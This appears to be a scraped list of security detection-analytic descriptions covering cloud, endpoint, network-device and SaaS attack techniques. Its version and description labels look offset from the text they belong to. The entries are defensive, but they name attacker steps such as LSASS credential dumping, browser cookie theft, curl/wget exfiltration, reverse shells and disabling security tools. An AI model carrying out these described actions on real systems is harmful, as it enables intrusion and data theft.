Behavioral chain: (1) third-party app or admin connects via OAuth/marketplace install; (2) high-privilege scopes granted; (3) anomalous actions (mass read/exports, admin changes).
Current version: 1.0
Description:
Behavioral chain: (1) delegated administration offers/relationships created or modified by partner tenants; (2) mailbox delegation/impersonation enabled; (3) follow-on access from partner IPs.
Current version: 1.0
Description:
A process explicitly forges its parent using EXTENDED_STARTUPINFO + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (UpdateProcThreadAttribute → CreateProcess[A/W]/CreateProcessAsUserW) or other Native API paths, resulting in mismatched/implausible lineage across ETW EventHeader ProcessId, Security 4688 Creator Process ID/Name, and sysmon ParentProcessGuid. Often paired with privilege escalation when the chosen parent runs as SYSTEM.
Current version: 1.0
Description:
Detection of adversary attempts to enumerate containers, pods, nodes, and related resources within containerized environments. Defenders may observe anomalous API calls to Docker or Kubernetes (e.g., 'docker ps', 'kubectl get pods', 'kubectl get nodes'), unusual account activity against the Kubernetes dashboard, or unexpected queries against container metadata endpoints. These events should be correlated with user context and network activity to reveal resource discovery attempts.
Current version: 1.0
Description:
Suspicious enumeration of attached peripherals via WMI, PowerShell, or low-level API calls potentially chained with removable device interactions.
Current version: 1.0
Description:
Enumeration of USB and other peripheral hardware via udevadm, lshw, or /sys or /proc interfaces in proximity to collection or mounting behavior.
Current version: 1.0
Description:
Execution of system utilities like 'system_profiler' and 'ioreg' to enumerate hardware components or USB devices, particularly if followed by clipboard, file, or network activity.
Current version: 1.0
Description:
Defenders should monitor for anomalous or unauthorized changes to cloud compute configurations that alter quotas, tenant-wide policies, subscription associations, or allowed deployment regions. From a defender’s perspective, suspicious behavior chains include a sudden increase in compute quota requests followed by new instance or resource creation, policy modifications that weaken security restrictions, or enabling previously unused/unsupported cloud regions. Correlation across identity, configuration, and subsequent provisioning logs is critical to distinguish legitimate administrative activity from adversarial abuse.
Current version: 1.0
Description:
Detects anomalous use of COM, DDE, or named pipes for execution. Correlates creation or access of IPC mechanisms (e.g., named pipes, COM objects) with unusual parent-child process relationships or code injection patterns (e.g., Office spawning cmd.exe via DDE).
Current version: 1.0
Description:
Detects abuse of UNIX domain sockets, pipes, or message queues for unauthorized code execution. Correlates unexpected socket creation with suspicious binaries, abnormal shell pipelines, or injected processes establishing IPC channels.
Current version: 1.0
Description:
Detects anomalous use of Mach ports, Apple Events, or XPC services for inter-process execution or code injection. Focuses on unexpected processes attempting to send privileged Apple Events (e.g., automation scripts injecting into security-sensitive apps).
Current version: 1.0
Description:
Defenders may observe attempts to disable dedicated crypto hardware on network devices, often visible through anomalous CLI commands, unexpected firmware or configuration updates, and degraded encryption performance. Suspicious indicators include commands that alter hardware acceleration settings (e.g., disabling AES-NI or crypto engines), modification of system image files, or logs showing fallback from hardware to software encryption. Network traffic analysis may also reveal a sudden downgrade in throughput or cipher negotiation behavior consistent with the absence of hardware acceleration.
Current version: 1.0
Description:
Monitor for anomalous access to financial applications, browser-based banking sessions, or enterprise ERP systems from Windows endpoints. Detect mass emailing of payment instructions, sudden rule changes in Outlook for financial staff, or use of clipboard data exfiltration tied to cryptocurrency wallet addresses.
Current version: 1.0
Description:
Monitor server and endpoint logs for unusual outbound network connections to cryptocurrency nodes, unauthorized scripts accessing financial systems, or automation targeting payment file formats. Detect curl/wget activity aimed at exfiltrating transaction data or credentials from financial apps.
Current version: 1.0
Description:
Monitor unified logs for access to payment applications, browser plug-ins, or Apple Pay services from non-standard processes. Detect anomalous use of Automator scripts or keychain extraction targeting financial account credentials.
Current version: 1.0
Description:
Monitor SaaS financial systems (e.g., QuickBooks, Workday, SAP S/4HANA cloud) for unauthorized access, rule changes, or mass export of financial data. Detect anomalous transfers initiated via SaaS APIs or new MFA-disabled logins targeting finance apps.
Current version: 1.0
Description:
Monitor email and document management systems for fraudulent invoices, impersonation of vendors, or BEC-style payment redirections. Detect abnormal editing of invoice templates, or emails containing known fraud language combined with attachment delivery.
Current version: 1.0
Description:
Chain of remote access tool behavior: (1) initial execution of remote-control/assist agent or GUI under user context; (2) persistence via service or autorun; (3) long-lived outbound connection/tunnel to external infrastructure; (4) interactive control signals such as shell or file-manager child processes spawned by the RAT parent.
Current version: 1.0
Description:
Sequence of RAT agent execution, systemd persistence, and long-lived external egress; optional interactive shells spawned from the agent.
Current version: 1.0
Description:
Electron/GUI or headless RAT execution followed by LaunchAgent/Daemon persistence and persistent external connections; interactive children (osascript/sh/curl) spawned by parent.
Current version: 1.0
Description:
Detection of adversary behavior that disables or modifies security tools, including killing AV/EDR processes, stopping services, altering Sysmon registry keys, or tampering with exclusion lists. Defenders observe process/service termination, registry modification, and abnormal absence of expected telemetry.
Current version: 1.0
Description:
Detection of adversaries attempting to stop or disable host-based security agents by killing daemons, unloading kernel modules, or modifying init/systemd service configurations.
Current version: 1.0
Description:
Detection of adversary disabling endpoint security tools by unloading launch agents/daemons, modifying configuration profiles, or using security/uninstall commands to remove agents.
Current version: 1.0
Description:
Detection of adversaries disabling cloud monitoring and logging agents such as CloudWatch, Google Cloud Monitoring, or Azure Monitor by API calls or agent process termination.
Current version: 1.0
Description:
Detection of adversaries tampering with container runtime security plugins, disabling admission controllers, or stopping monitoring sidecars.
Current version: 1.0
Description:
Detection of adversaries modifying startup configuration files to disable signature verification, logging, or monitoring features.
Current version: 1.0
Description:
A process creates a brand‑new logon session/token (LogonUser/LsaLogonUser) and then assigns/impersonates it (SetThreadToken/ImpersonateLoggedOnUser) to run actions under that freshly created security context. Chain: (1) suspicious command or script block (e.g., runas /netonly, PowerShell P/Invoke of LogonUser) → (2) ETW/API evidence of LogonUser/SetThreadToken → (3) Security 4624 New Logon (often LogonType=9 NewCredentials or 2/3 from a non‑interactive parent) with no interactive desktop → (4) sysmon 1 process(es) executing with the new LogonId/SID different from the parent process → (5) optional privileged ops/lateral movement.
Current version: 1.0
Description:
Establishing network connections on uncommon ports or protocols following C2 disruption or blocking. Often executed by processes that typically exhibit no network activity.
Current version: 1.0
Description:
Creation of outbound connections on alternate ports or using covert transport (e.g., ICMP, DNS) from non-network-intensive processes, following known disruption or blocked traffic.
Current version: 1.0
Description:
Outbound fallback traffic from low-profile or background launch agents using unusual protocols or destinations after primary channel inactivity.
Current version: 1.0
Description:
Outbound traffic from host management services or guest-to-host interactions over unusual interfaces (e.g., backdoor API endpoints or external VPN tunnels).
Current version: 1.0
Description:
Privileged or rarely used accounts performing bulk access to SharePoint files or metadata over a short time window, indicating potential scripted collection of sensitive internal documents.
Current version: 1.0
Description:
Detects compilation activity using csc.exe, ilasm.exe, or msbuild.exe initiated by user-space processes outside typical development environments, followed by execution or network activity from newly written binaries.
Current version: 1.0
Description:
Detects GCC or Clang invoked on suspicious file paths (e.g., /tmp/, ~/Downloads) with output to executable binaries, followed by execution or outbound traffic from these binaries.
Current version: 1.0
Description:
Detects non-standard compilation activity via Xcode CLI tools or bundled GCC/MONO packages writing new executable files and executing them outside dev environments (e.g., user Downloads folder).
Current version: 1.0
Description:
Abuse of file/registry attributes to hide malicious files, directories, or services. Defender view: detection of attrib.exe setting hidden/system flags, creation of Alternate Data Streams, or registry keys altering file visibility.
Current version: 1.0
Description:
Hidden file creation using leading '.' or file attribute changes with chattr (immutable/hidden flags). Defender view: detect execution of chattr, lsattr anomalies, and unusual hidden files appearing in system directories.
Current version: 1.0
Description:
Hidden files via 'chflags hidden' or Apple-specific attributes, LaunchAgents/LaunchDaemons placed in non-standard hidden directories. Defender view: detect command execution modifying file flags and unusual plist creation in hidden paths.
Current version: 1.0
Description:
Abuse of VMFS or ESXi shell to hide datastore files, renaming/moving VMDK or VMX files into hidden directories. Defender view: anomalous ESXi shell commands or file operations obscuring VM artifacts.
Current version: 1.0
Description:
Malicious macros or embedded objects hidden within Office documents by renaming streams or using hidden OLE objects. Defender view: detection of hidden macro streams or objects in documents correlated with anomalous execution.
Current version: 1.0
Description:
Detects the execution of non-browser processes establishing outbound encrypted network connections using uncommon symmetric encryption protocols (e.g., AES via PowerShell or custom scripts) to alternate external destinations.
Current version: 1.0
Description:
Detects command-line utilities or scripts using encryption libraries or symmetric algorithms (e.g., OpenSSL AES, GPG, Python + PyCrypto) in conjunction with outbound file transfers or traffic to external destinations.
Current version: 1.0
Description:
Detects symmetric key-based encryption operations (e.g., AES via Python, AppleScript, or OpenSSL) followed by unusual outbound connections from non-browser applications or scripted tools.
Current version: 1.0
Description:
Detects unexpected encrypted egress traffic from management services (e.g., hostd) or guest VMs utilizing symmetric encryption without traditional protocols (e.g., FTP with embedded AES ciphertext).
Current version: 1.0
Description:
Detects anomalous use of Dynamic Data Exchange (DDE) for code execution, such as Office applications (WINWORD.EXE, EXCEL.EXE) spawning command interpreters, or loading unusual modules through DDEAUTO/DDE formulas. Correlates suspicious parent-child process relationships, registry keys enabling DDE, and module loads inconsistent with normal Office usage.
Current version: 1.0
Description:
Detection of command-line activity exhibiting syntactic obfuscation patterns, such as excessive escape characters, base64 encoding, command concatenation, or outlier command length and entropy.
Current version: 1.0
Description:
Detection of shell commands that leverage encoded execution, command chaining, excessive piping, or unusual token patterns indicative of obfuscation.
Current version: 1.0
Description:
Detection of obfuscated commands via shell, osascript, or AppleScript interpreters using unusual tokens, encoding, variable substitution, or runtime string reconstruction.
Current version: 1.0
Description:
Detection of mshta.exe execution where command-line arguments reference remote or local HTA/script content (VBScript/JScript) followed by subsequent file creation, network retrieval, or process spawning that indicates payload execution outside standard Internet Explorer security context. Correlation includes parent process lineage, command-line inspection, and network connection creation to untrusted or anomalous endpoints.
Current version: 1.0
Description:
Adversary gains high integrity or special privileges (e.g., SeDebugPrivilege), locates a running browser process, opens it with write/inject rights, and modifies it (e.g., CreateRemoteThread / DLL load) to inherit cookies/tokens or establish a browser pivot. Optional step: create a new logon session or use explicit credentials, then drive the victim browser to intranet resources.
Current version: 1.0
Description:
Detects process injection by correlating memory manipulation API calls (e.g., VirtualAllocEx, WriteProcessMemory), suspicious thread creation (e.g., CreateRemoteThread), and unusual DLL loads within another process's context.
Current version: 1.0
Description:
Detects ptrace- or memfd-based process injection through audit logs capturing system calls (e.g., ptrace, mmap) targeting running processes along with suspicious file descriptors or memory writes.
Current version: 1.0
Description:
Detects memory-based injection by monitoring task_for_pid, mach_vm_write, and dylib injection patterns through DYLD_INSERT_LIBRARIES or manual memory mapping.
Current version: 1.0
Description:
Detects suspicious access to browser session cookie storage (e.g., Chrome’s Cookies SQLite DB) or memory reads of browser processes. Anomalous injection or memory dump utilities targeting browser processes such as chrome.exe, firefox.exe, or msedge.exe.
Current version: 1.0
Description:
Detects access to known browser cookie files (e.g., ~/.mozilla/firefox/*.default/cookies.sqlite, ~/.config/google-chrome/) and suspicious reads of browser memory via /proc/[pid]/mem or ptrace.
Current version: 1.0
Description:
Detects unauthorized access to browser cookie paths (e.g., ~/Library/Application Support/Google/Chrome/Default/Cookies) or task_for_pid/vm_read calls to Safari/Chrome memory space.
Current version: 1.0
Description:
Detects automation macros or VBA scripts in documents that access browser file paths, read cookie data, or attempt to exfiltrate browser session tokens over HTTP.
Current version: 1.0
Description:
Detects use of session cookies or authentication tokens from unusual user agents or locations. Identifies token reuse without reauthentication or attempts to bypass MFA using previously stolen cookies.
Current version: 1.0
Description:
Detects suspicious SVG file creation or download events followed by script engine execution (e.g., wscript.exe, mshta.exe, rundll32.exe), network callbacks, or browser-based credential collection.
Current version: 1.0
Description:
Detects downloaded SVG files followed by execution of browser processes or tools like xdg-open, and rapid follow-on network connections or process spawns to interpreters like python or bash.
Current version: 1.0
Description:
Detects SVGs downloaded via browser that invoke AppleScript, osascript, or JavaScriptCore processes, followed by network egress or file drop to LaunchAgents or ~/Library.
Current version: 1.0
Description:
Adversary mounts a USB device and begins enumerating, copying, or compressing files using scripting engines, cmd, or remote access tools.
Current version: 1.0
Description:
Adversary mounts external drive to /media or /mnt then accesses or copies targeted data via shell, cp, or tar.
Current version: 1.0
Description:
Adversary attaches USB drive and accesses sensitive files using Finder, cp, or bash scripts.
Current version: 1.0
Description:
Detects non-browser processes that establish encrypted outbound connections (e.g., TLS/SSL) to unfamiliar or atypical destinations for the host/user, following a data staging or compression event.
Current version: 1.0
Description:
Detects staged file access (e.g., archive or obfuscation), followed by an encrypted outbound connection (TLS/HTTPS) from unusual processes such as curl/wget, Python scripts, or custom binaries.
Current version: 1.0
Description:
Detects abnormal encrypted network connections (via TLS/HTTPS) initiated by non-browser binaries, particularly after sensitive file access or compression events.
Current version: 1.0
Description:
Detects unexpected encrypted outbound connections from management components or guest VMs using TLS, particularly after data volume spikes or script-based orchestration from within guest environments.
Current version: 1.0
Description:
Detects adversary behavior accessing Windows cached domain credential files using tools like Mimikatz, reg.exe, or PowerShell, often combined with registry exports or LSASS memory scraping.
Current version: 1.0
Description:
Detects access to SSSD or Quest VAS cached credential databases using tdbdump or other file access patterns, requiring sudo/root access.
Current version: 1.0
Description:
Detects exploitation attempts targeting vulnerable kernel drivers or OS components, often followed by unusual process or token behavior.
Current version: 1.0
Description:
Detects escalation via vulnerable setuid binaries or kernel modules, often chained with unusual access to /proc/kallsyms or /dev/kmem.
Current version: 1.0
Description:
Detects use of vulnerable kernel extensions or entitlements abused via setuid or AppleScript injection chains.
Current version: 1.0
Description:
Detects container breakout behavior via exploitation (e.g., DirtyPipe, CVE-2022-0847), followed by host OS interaction or escalated capability assignment.
Current version: 1.0
Description:
Access and retrieval of container service account tokens followed by unauthorized API requests using those tokens to interact with the Kubernetes API server or internal services.
Current version: 1.0
Description:
Token retrieval from instance metadata endpoints such as AWS IMDS or Azure IMDS, followed by API usage using the obtained token from non-standard applications.
Current version: 1.0
Description:
Unusual OAuth app registration followed by user-granted OAuth tokens and subsequent high-privilege resource access via those tokens.
Current version: 1.0
Description:
Use of OAuth tokens by third-party apps to access user mail, calendar, or SharePoint resources where the token was granted recently or via spearphishing.
Current version: 1.0
Description:
Programmatic access to user content via stolen access tokens in platforms like Slack, GitHub, Google Workspace — especially from new IPs, apps, or excessive resource access.
Current version: 1.0
Description:
Detects the execution of scripting or command interpreters (e.g., powershell.exe, cmd.exe, wscript.exe) outside expected administrative time windows or from abnormal user contexts, often followed by encoded/obfuscated arguments or secondary execution events.
Current version: 1.0
Description:
Detects use of shell interpreters (e.g., bash, sh, python, perl) initiated by users or processes not normally executing them, especially when chaining suspicious utilities like netcat, curl, or ssh.
Current version: 1.0
Description:
Detects launch of command-line interpreters via Terminal, Automator, or hidden osascript, especially when parent process lineage deviates from user-initiated applications.
Current version: 1.0
Description:
Detects use of 'esxcli system' or direct interpreter commands (e.g., busybox shell) invoked from SSH or host terminal unexpectedly.
Current version: 1.0
Description:
Identifies CLI interpreter access (e.g., Cisco IOS, Juniper JUNOS) via enable mode or scripting-capable sessions used by uncommon accounts or from unknown IPs.
Current version: 1.0
Description:
Detection focuses on unauthorized manipulation of .NET AppDomainManager behavior. Defenders may observe suspicious creation of new AppDomains within trusted processes, anomalous loading of assemblies via non-standard configuration files, or registry/environment variable changes redirecting AppDomainManager to malicious assemblies. Correlated events include config file tampering, new process creation of .NET host processes (e.g., w3wp.exe, powershell.exe) with modified runtime parameters, and module loads of unusual or unsigned .NET DLLs.
Current version: 1.0
Description:
Executable or script generating large outbound network traffic targeting remote hosts or known amplification ports
Current version: 1.0
Description:
Flooding tools like hping3 or nping sending large volumes of packets across multiple ports or IPs
Current version: 1.0
Description:
Adversaries inject VBA macros into Office templates such as Normal.dotm or Personal.xlsb or redirect Office template load path via registry key (GlobalDotName) to gain persistence. Template macros trigger execution of malicious code on application startup.
Current version: 1.0
Description:
Malicious VBA macros embedded in base templates like Normal.dotm or Personal.xlsb are automatically loaded and executed at startup. Template path may be hijacked to load a remote or attacker-controlled template via GlobalDotName registry setting.
Current version: 1.0
Description:
Detects log-clearing behavior by correlating suspicious command execution targeting log files under /var/log/, anomalous deletions or truncations of system logs, and unusual child processes (e.g., shell pipelines or redirections).
Current version: 1.0
Description:
Detects adversary clearing log files on macOS by correlating calls to shell utilities (e.g., echo >, rm, truncate) targeting files in /var/log/ with unusual context (non-administrative users or abnormal process lineage).
Current version: 1.0
Description:
Detects suspicious use of PowerShell, .NET, or script interpreters to spawn processes that mimic UAC prompts, often with credential capture dialogue boxes invoked from non-standard parent processes.
Current version: 1.0
Description:
Detects GUI-based credential prompts invoked via zenity/kdialog/dialog or X11 APIs from non-user-facing scripts or background shell sessions, often with authentication-related text.
Current version: 1.0
Description:
Detects AppleScript or Objective-C usage to generate fake authentication windows (e.g., using display dialog or NSAlert) from user-launched or persistence-related processes.
Current version: 1.0
Description:
Detects anomalous Kerberos activity such as forged or stolen tickets by correlating malformed fields in logon events, RC4-encrypted TGTs, or TGS requests without corresponding TGT requests. Also detects suspicious processes accessing LSASS memory for ticket extraction.
Current version: 1.0
Description:
Detects suspicious access to SSSD secrets database and Kerberos key material indicating ticket theft or replay attempts. Correlates anomalous file access with unusual Kerberos service ticket requests.
Current version: 1.0
Description:
Detects attempts to forge or replay Kerberos tickets by monitoring Unified Logs for anomalous kinit/klist activity and correlating unusual authentication sequences.
Current version: 1.0
Description:
Monitors execution of administrative utilities (e.g., bcdedit.exe) or registry modifications that disable Driver Signature Enforcement (DSE) or enable Test Signing. Correlates command-line activity, registry changes, and subsequent process executions that bypass signing enforcement.
Current version: 1.0
Description:
Detects modification of System Integrity Protection (SIP) or code signing enforcement policies through csrutil or kernel variable tampering. Correlates execution of csrutil disable commands with subsequent policy state changes and anomalous unsigned process executions.
Current version: 1.0
Description:
A remote host sends a short sequence of failed connection attempts (RST/ICMP unreachable) to a set of closed ports. Within a brief window the endpoint (a) adds/enables a firewall rule or (b) a sniffer-backed process begins listening or opens a new socket, after which a successful connection occurs. Also detects Wake-on-LAN magic packets seen on local segment.
Current version: 1.0
Description:
Closed-port knock sequence from a remote IP followed by on-host firewall change (iptables/nftables) or daemon starts listening (socket open) and a successful TCP/UDP connect. Optional detection of libpcap/raw-socket sniffers spawning to watch for secret values.
Current version: 1.0
Description:
Remote knock sequence followed by PF/socketfilterfw rule update or a background process listening on a new port; then a successful TCP session. Also flags WoL magic packets on local segment.
Current version: 1.0
Description:
Crafted ‘synful knock’ patterns toward routers/switches (same src hits interface/broadcast/network address on same port in short order) followed by ACL/telnet/SSH enablement or module change. Detect device image/ACL updates then a new mgmt session.
Current version: 1.0
Description:
Process creation and command-line execution of native system discovery utilities such as systeminfo, hostname, wmic, or use of PowerShell/WMI for system enumeration.
Current version: 1.0
Description:
Execution of system enumeration commands such as uname, df, uptime, hostname, lscpu, and cat /etc/os-release through local terminal or scripts.
Current version: 1.0
Description:
Execution of system info utilities like systemsetup, sw_vers, uname, or sysctl by terminal or scripted processes.
Current version: 1.0
Description:
Execution of esxcli system hostname get, esxcli system version get, or esxcli hardware commands through SSH or local shell.
Current version: 1.0
Description:
Use of cloud API calls (e.g., AWS EC2 DescribeInstances, Azure VM Inventory) to enumerate system configurations across assets.
Current version: 1.0
Description:
Execution of show version, show hardware, or show system commands through CLI via SSH or console.
Current version: 1.0
Description:
Detects adversarial archiving of files prior to exfiltration by correlating execution of compression/encryption utilities (e.g., makecab.exe, rar.exe, 7z.exe, powershell Compress-Archive) with subsequent creation of large compressed or encrypted files. Identifies abnormal process lineage involving crypt32.dll usage, command-line arguments invoking compression switches, and file write operations to temporary or staging directories.
Current version: 1.0
Description:
Detects adversarial archiving activity through invocation of utilities like tar, gzip, bzip2, or openssl used in non-administrative or unusual contexts. Correlates command execution patterns with file creation of compressed/encrypted outputs in staging directories (e.g., /tmp, /var/tmp).
Current version: 1.0
Description:
Detects use of macOS-native archiving or encryption tools (zip, ditto, hdiutil) for staging collected data. Identifies unexpected invocation of archive utilities by Office apps, browsers, or background daemons. Correlates file creation of .zip/.dmg containers with process lineage anomalies.
Current version: 1.0
Description:
Execution of files containing right-to-left override characters (U+202E) to masquerade true file extensions. Often found in phishing payloads or file downloads.
Current version: 1.0
Description:
Execution of files with reversed filename extensions using Unicode RTLO character. Frequently used to deceive Gatekeeper and users in Safari or Mail-based phishing.
Current version: 1.0
Description:
Execution of user-downloaded or created scripts with hidden extensions due to RTLO character insertion in filename, often present in desktop environments or phishing campaigns.
Current version: 1.0
Description:
Execution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote .sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.
Current version: 1.0
Description:
Unusual or suspicious processes loading critical native API DLLs (e.g., ntdll.dll, kernel32.dll) followed by direct syscall behavior, memory manipulation, or hollowing.
Current version: 1.0
Description:
Userland processes invoking syscall-heavy libraries (libc, glibc) followed by fork, mmap, or ptrace behavior commonly associated with code injection or memory manipulation.
Current version: 1.0
Description:
Execution of processes that link to CoreServices or Foundation APIs followed by creation of memory regions, code execution, or abnormal library injection.
Current version: 1.0
Description:
An SMB-based remote file share access followed by lateral movement actions such as remote service creation, task scheduling, or suspicious process execution on the target host using ADMIN$ or C$ shares.
Current version: 1.0
Description:
Addition of credentials (keys, app passwords, x.509 certs) to existing cloud accounts, service principals, or OAuth apps via portal or API by non-standard identities or IP ranges.
Current version: 1.0
Description:
Cloud API usage to create/import SSH keys or generate new access keys (CreateAccessKey, ImportKeyPair, CreateLoginProfile) from non-console access or unusual principals.
Current version: 1.0
Description:
Credential-related configuration changes in productivity apps, such as API key creation in Google Workspace, app tokens in Slack, or user-level OAuth credentials in M365.
Current version: 1.0
Description:
Detects behavioral sequence where an adversary gains elevated privileges and clears event logs using native binaries (e.g., wevtutil), PowerShell, or direct file deletion of .evtx files.
Current version: 1.0
Description:
Detects anomalous CI/CD workflow execution originating from forked repositories, with pull request (PR) metadata or commit messages containing suspicious patterns (e.g., encoded payloads), coupled with the use of insecure pipeline triggers like pull_request_target or excessive API usage of CI/CD secrets. Correlation with unusual artifact generation or secret exfiltration via encoded or external network destination URLs confirms suspicious behavior.
Current version: 1.0
Description:
Unauthorized modification of TCC.db followed by elevated process execution under a trusted parent (e.g., Finder, SystemUIServer) or via launchctl environment override. Also includes identification of SIP being disabled, which is highly uncommon and a prerequisite for this abuse path.
Current version: 1.0
Description:
Malicious VIB installation for persistence via esxcli software vib install using --force or --no-sig-check, enabling custom startup scripts or firewall rules. Behavior chain: (1) unsigned/suspicious VIB installation → (2) startup script or binary placed in persistent boot path → (3) persistence across reboot via /etc/rc.local.d or other boot hook).
Current version: 1.0
Description:
Detects anomalous wireless connections such as unexpected SSID associations, failed or repeated authentication attempts, and connections outside of known geofenced networks. Defenders should monitor wireless connection logs and event codes for network discovery, authentication, and association events.
Current version: 1.0
Description:
Detects unauthorized wireless associations by monitoring wpa_supplicant logs, NetworkManager events, and system calls related to interface state changes. Anomalies include repeated association failures, new SSIDs outside baselined values, and rogue AP connections.
Current version: 1.0
Description:
Detects unauthorized Wi-Fi associations and SSID scanning activity using unified logs and airport command telemetry. Anomalies include rapid SSID switching, connections to unapproved SSIDs, or repeated authentication failures.
Current version: 1.0
Description:
Detects rogue or suspicious wireless access attempts by monitoring firewall, WIDS/WIPS, and controller logs. Focus is on firewall rule changes, rogue AP detection, and anomalous MAC addresses connecting to access points.
Current version: 1.0
Description:
1) New or updated software is delivered/installed from atypical sources or with signature/hash mismatches; 2) installer/updater writes binaries to unexpected paths or replaces existing signed files; 3) first run causes unsigned/abnormally signed modules to load or child processes to execute, optionally followed by network egress to new destinations.
Current version: 1.0
Description:
1) Package manager or curl/wget installs/upgrades from non-approved repos or unsigned packages; 2) new ELF written into PATH directories or replacement of existing binaries/libraries; 3) first run leads to unexpected child processes or outbound connections.
Current version: 1.0
Description:
1) pkg/notarization installs from atypical sources or with Gatekeeper/AMFI warnings; 2) new Mach-O written into /Applications or ~/Library paths or substitution of signed components; 3) first run from installer spawns unsigned children or exfil.
Current version: 1.0
Description:
Processes such as plink.exe, ssh.exe, or netsh.exe establishing outbound network connections where traffic patterns show encapsulated protocols (e.g., RDP over SSH). Defender observations include anomalous process-to-network relationships, large asymmetric data flows, and port usage mismatches.
Current version: 1.0
Description:
sshd, socat, or custom binaries initiating port forwarding or encapsulating traffic (e.g., RDP, SMB) through SSH or HTTP. Defender sees abnormal connect/bind syscalls, encrypted traffic on ports typically used for non-encrypted services, and outlier traffic volume patterns.
Current version: 1.0
Description:
launchd or user-invoked processes (ssh, socat) encapsulating traffic via SSH tunnels, VPN-style tooling, or DNS-over-HTTPS clients. Defender sees outbound TLS traffic with embedded DNS or RDP payloads.
Current version: 1.0
Description:
VMware daemons or user processes encapsulating traffic (e.g., guest VMs tunneling via hostd). Defender sees network services inside ESXi creating flows inconsistent with management plane traffic, such as SSH forwarding or DNS-over-HTTPS from management interfaces.
Current version: 1.0
Description:
Detects suspicious OAuth application integrations within Office 365 or Google Workspace environments, such as new app registrations, unexpected consent grants, or privilege assignments. Defenders should correlate between application creation/modification events and associated user or service principal activity to identify persistence via app integrations.
Current version: 1.0
Description:
Detects anomalous SaaS application integration activity across environments such as Slack, Salesforce, or other enterprise SaaS services. Focus is on unauthorized app additions, unusual permission grants, and persistence through service principal tokens.
Current version: 1.0
Description:
Sustained execution of resource-intensive processes (e.g., cryptocurrency miners), often launched via scheduled tasks, WMI, or PowerShell. These processes frequently establish persistent external connections and attempt to evade detection using masqueraded or renamed binaries.
Current version: 1.0
Description:
Unusual long-running processes consuming high CPU cycles (e.g., via 'top' or 'ps') initiated via cron, shell scripts, or Docker. Connections to known mining pools or DNS over HTTPS usage as evasion.
Current version: 1.0
Description:
Persistent or background daemons (e.g., plist or launchd jobs) spawning high-CPU processes like xmrig or cpuminer. Outbound encrypted traffic to IPs/domains commonly used by mining proxies.
Current version: 1.0
Description:
Ephemeral or unauthorized container instantiation using public images (e.g., from DockerHub) that initiate high CPU usage shortly after startup. Often scheduled via Kubernetes or Docker socket abuse.
Current version: 1.0
Description:
Unauthorized instance creation in unmonitored or unused regions. Burst of compute-intensive jobs in spot instances or sudden spike in resource usage in legitimate VMs.
Current version: 1.0
Description:
Detects adversary behavior where a process enumerates and modifies another process's memory using /proc/[pid]/maps and /proc/[pid]/mem files. This includes identifying gadgets via memory mappings and overwriting process memory via low-level file modification or dd usage.
Current version: 1.0
Description:
Monitor registry modifications to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages or ...\OSConfig\Security Packages, especially insertions of new DLL entries. Correlate this with subsequent DLL module loads into lsass.exe. Track unsigned or anomalous DLLs loading into LSASS using image load auditing. LSASS loads unsigned DLL due to AuditLevel=8 registry configuration or System reboot followed by DLL load into lsass.exe
Current version: 1.0
Description:
Processes not typically associated with encryption loading asymmetric crypto libraries (e.g., rsaenh.dll, crypt32.dll) and subsequently initiating outbound TLS/SSL connections with abnormal certificate chains or handshakes. Defender correlates process creation, module load, and unusual encrypted sessions.
Current version: 1.0
Description:
Processes (e.g., bash, python, custom binaries) dynamically linking libcrypto/libssl for RSA key exchange, then creating external connections with abnormal certificate validation or handshake anomalies. Defender observes syscall traces and outbound asymmetric key exchanges from non-SSL-native processes.
Current version: 1.0
Description:
Applications or launchd services invoking RSA or public-key routines from the Security framework, followed by outbound SSL/TLS sessions with unrecognized certs or anomalous handshakes. Defender observes unified logs of API calls and suspicious network entropy.
Current version: 1.0
Description:
VMware services (hostd, vpxa) unexpectedly negotiating asymmetric crypto sessions to external endpoints outside vCenter or update servers. Defender sees encrypted handshakes in logs inconsistent with baseline ESXi communication patterns.
Current version: 1.0
Description:
Encrypted sessions detected with asymmetric key exchange anomalies on non-standard ports or with invalid/malformed certs. Defender correlates NetFlow/IPFIX with IDS/IPS detecting RSA exchanges outside expected TLS flows.
Current version: 1.0
Description:
Detects adversary abuse of Transactional NTFS (TxF) and undocumented process loading mechanisms (e.g., NtCreateProcessEx) to create a hollowed process from an uncommitted, maliciously tainted file image in memory, later executed via NtCreateThreadEx.
Current version: 1.0
Description:
Monitor for suspicious use of cloud-native administrative command services (e.g., AWS Systems Manager Run Command, Azure RunCommand, GCP OS Config) to execute code inside VMs. Detect anomalies such as commands/scripts executed by unexpected users, execution outside of maintenance windows, or commands initiated by service accounts not normally tied to administration. Correlate cloud control-plane activity logs with host-level execution (process creation, script execution) to validate if commands materialized inside the guest OS.
Current version: 1.0
Description:
Detects anomalous authentication activity such as sign-ins from impossible geolocations or legacy protocols from high-privileged accounts.
Current version: 1.0
Description:
Detects cloud account use for API calls that exceed normal scope, such as IAM changes or access to services never used before.
Current version: 1.0
Description:
Detects unexpected access or usage of cloud productivity tools (e.g., downloading large numbers of files, creating external shares) by internal users.
Current version: 1.0
Description:
Detects login and usage patterns deviating from typical Microsoft 365 or Google Workspace user profiles.
Current version: 1.0
Description:
Installation of malicious IIS/Apache/SQL server modules that later execute command-line interpreters or establish outbound connections.
Current version: 1.0
Description:
Abuse of extensible server modules (e.g., Apache, Nginx, Tomcat) to load rogue plugins that initiate bash, connect to C2, or spawn reverse shells.
Current version: 1.0
Description:
Malicious use of webserver plugins (e.g., for nginx, PHP, Node.js) that execute AppleScript or open network sockets.
Current version: 1.0
Description:
Use of ESXi web interface plugins or vSphere extensions to embed persistent malicious scripts or services.
Current version: 1.0
Description:
Processes that normally do not initiate network communications suddenly making outbound HTTPS connections with high outbound-to-inbound data ratios. Defender view: correlation between process creation logs (e.g., Word, Excel, PowerShell) and subsequent anomalous network traffic volumes toward common web services (Dropbox, Google Drive, OneDrive).
Current version: 1.0
Description:
Processes (tar, curl, python scripts) accessing large file sets and initiating outbound HTTPS POST requests with payload sizes inconsistent with baseline activity. Defender perspective: detect abnormal sequence of file archival followed by encrypted uploads to external web services.
Current version: 1.0
Description:
Office apps or scripts writing files followed by xattr manipulation (to evade quarantine) and subsequent HTTPS uploads. Defender perspective: anomalous file modification + outbound TLS traffic originating from non-networking apps (Word, Excel, Preview).
Current version: 1.0
Description:
